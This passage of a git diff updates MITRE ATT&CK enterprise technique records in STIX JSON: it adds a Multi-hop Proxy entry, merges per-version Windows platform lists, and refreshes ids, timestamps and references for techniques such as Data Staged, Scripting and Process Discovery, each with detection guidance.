App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters\n\nPermissions Required: Administrator",
             "kill_chain_phases": [
-                {
-                    "kill_chain_name": "mitre-attack",
-                    "phase_name": "execution"
-                },
                 {
                     "kill_chain_name": "mitre-attack",
                     "phase_name": "persistence"
@@ -35,6 +31,11 @@
                     "source_name": "Black Hat 2015 App Shim",
                     "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.",
                     "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf"
+                },
+                {
+                    "source_name": "Engame Process Injection July 2017",
+                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                 }
             ],
             "object_marking_refs": [
@@ -51,20 +52,8 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
-            ],
-            "x_mitre_remote_support": false
+                "Windows"
+            ]
         }
     ]
 }
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c.json b/enterprise-attack/attack-pattern/attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c.json
new file mode 100644
index 0000000000..2a7756dac3
--- /dev/null
+++ b/enterprise-attack/attack-pattern/attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c.json
@@ -0,0 +1,42 @@
+{
+    "type": "bundle",
+    "id": "bundle--fd292755-2e6a-4099-83f6-8407680045f5",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Multi-hop Proxy",
+            "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy.  This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\n\nDetection: When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as ) or known adversary infrastructure that uses this technique.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Netflow/Enclave netflow\n\nRequires Network: Yes",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "command-and-control"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1188",
+                    "external_id": "T1188"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_data_sources": [
+                "Network protocol analysis",
+                "Netflow/Enclave netflow"
+            ],
+            "x_mitre_network_requirements": true,
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e.json b/enterprise-attack/attack-pattern/attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e.json
index 5455ce8627..59f4a2d341 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1b4dfc41-41ee-4c36-9048-73bf1560e635",
+    "id": "bundle--958e5dba-c298-43e9-aaba-4e0ecb23644d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:58.938Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Staged",
-            "description": "Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Data Compressed or Data Encrypted.\n\nInteractive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nDetection: Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters",
+            "description": "Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Data Compressed or Data Encrypted.\n\nInteractive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nDetection: Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -33,21 +33,9 @@
                 "Process command-line parameters"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475.json b/enterprise-attack/attack-pattern/attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475.json
index 1052b3d5f8..85f014bcf3 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4675f337-082f-444b-9c97-c681bedf32f6",
+    "id": "bundle--78477118-89a8-4c0e-8990-d0046ccfd27a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:45.139Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Network Connections Discovery",
-            "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\n===Windows===\n\nUtilities and commands that acquire this information include netstat, \"net use,\" and \"net session\" with Net.\n\n===Mac and Linux ===\n\nIn Mac and Linux, <code>netstat</code> and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to \"net session\".\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator",
+            "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\n===Windows===\n\nUtilities and commands that acquire this information include netstat, \"net use,\" and \"net session\" with Net.\n\n===Mac and Linux ===\n\nIn Mac and Linux, <code>netstat</code> and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to \"net session\".\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -36,21 +36,9 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44.json b/enterprise-attack/attack-pattern/attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44.json
index 77e7ebeed9..69e8bee23f 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c40dd468-88b2-4b22-a059-59718cefc275",
+    "id": "bundle--c64c836b-1636-4ae4-80d4-41cb95f6dcf9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:51.733Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Scripting",
-            "description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike.  (Citation: Metasploit) (Citation: Metasploit),  (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)\n\nDetection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process monitoring, File monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting",
+            "description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike.  (Citation: Metasploit) (Citation: Metasploit),  (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)\n\nDetection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process monitoring, File monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -45,7 +45,7 @@
                 {
                     "source_name": "Alperovitch 2014",
                     "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
-                    "url": "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
+                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
                 }
             ],
             "object_marking_refs": [
@@ -60,21 +60,9 @@
                 "Process whitelisting"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db.json b/enterprise-attack/attack-pattern/attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db.json
index 7a748fd02d..624a93a33c 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d1c69448-b94f-4f32-8106-7357e50f35c9",
+    "id": "bundle--a6235484-d6a1-460c-8c8d-6908fb08c727",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:46.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Shared Webroot",
-            "description": "Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.\n\nDetection: Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Shared webroot directory on remote system",
+            "description": "Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.\n\nDetection: Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Shared webroot directory on remote system",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -32,18 +32,7 @@
                 "Process monitoring"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Shared webroot directory on remote system"
diff --git a/enterprise-attack/attack-pattern/attack-pattern--830c9528-df21-472c-8c14-a036bf17d665.json b/enterprise-attack/attack-pattern/attack-pattern--830c9528-df21-472c-8c14-a036bf17d665.json
index 588f832450..35051dbddc 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--830c9528-df21-472c-8c14-a036bf17d665.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--830c9528-df21-472c-8c14-a036bf17d665.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--39b03906-245c-4b0a-bcb6-3e62cd12e2fb",
+    "id": "bundle--47312e99-1104-4344-8aa5-d9bf8f7c1be6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:13.915Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Web Service",
-            "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nPopular websites and social media can act as a mechanism for command and control and give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture\n\nPermissions Required: User\n\nRequires Network: Yes",
+            "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nPopular websites and social media can act as a mechanism for command and control and give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture\n\nPermissions Required: User\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -43,21 +43,9 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91.json b/enterprise-attack/attack-pattern/attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91.json
index 53298a0a4d..0fa8b8c910 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6c0d9281-2f19-434e-8c95-fb3b0094bdca",
+    "id": "bundle--e9246d58-9eb3-4131-9b4d-9ffa894b9cf3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:15.935Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Multi-Stage Channels",
-            "description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Netflow/Enclave netflow, Network device logs, Network protocol analysis, Packet capture, Process use of network\n\nRequires Network: Yes",
+            "description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Network device logs, Network protocol analysis, Packet capture, Process use of network\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -36,21 +36,9 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580.json b/enterprise-attack/attack-pattern/attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580.json
index c3f7a43421..4609960e01 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6dbe6325-f07f-4031-9d56-59dc20bd392a",
+    "id": "bundle--1951637f-2cfe-4fd4-95d7-91305107866d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:48.728Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Process Discovery",
-            "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.\n\n===Windows===\n\nAn example command that would obtain details on processes is \"tasklist\" using the Tasklist utility.\n\n===Mac and Linux===\n\nIn Mac and Linux, this is accomplished with the <code>ps</code> command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Administrator, SYSTEM may provide better process ownership details",
+            "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.\n\n===Windows===\n\nAn example command that would obtain details on processes is \"tasklist\" using the Tasklist utility.\n\n===Mac and Linux===\n\nIn Mac and Linux, this is accomplished with the <code>ps</code> command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Administrator, SYSTEM may provide better process ownership details",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -37,21 +37,9 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
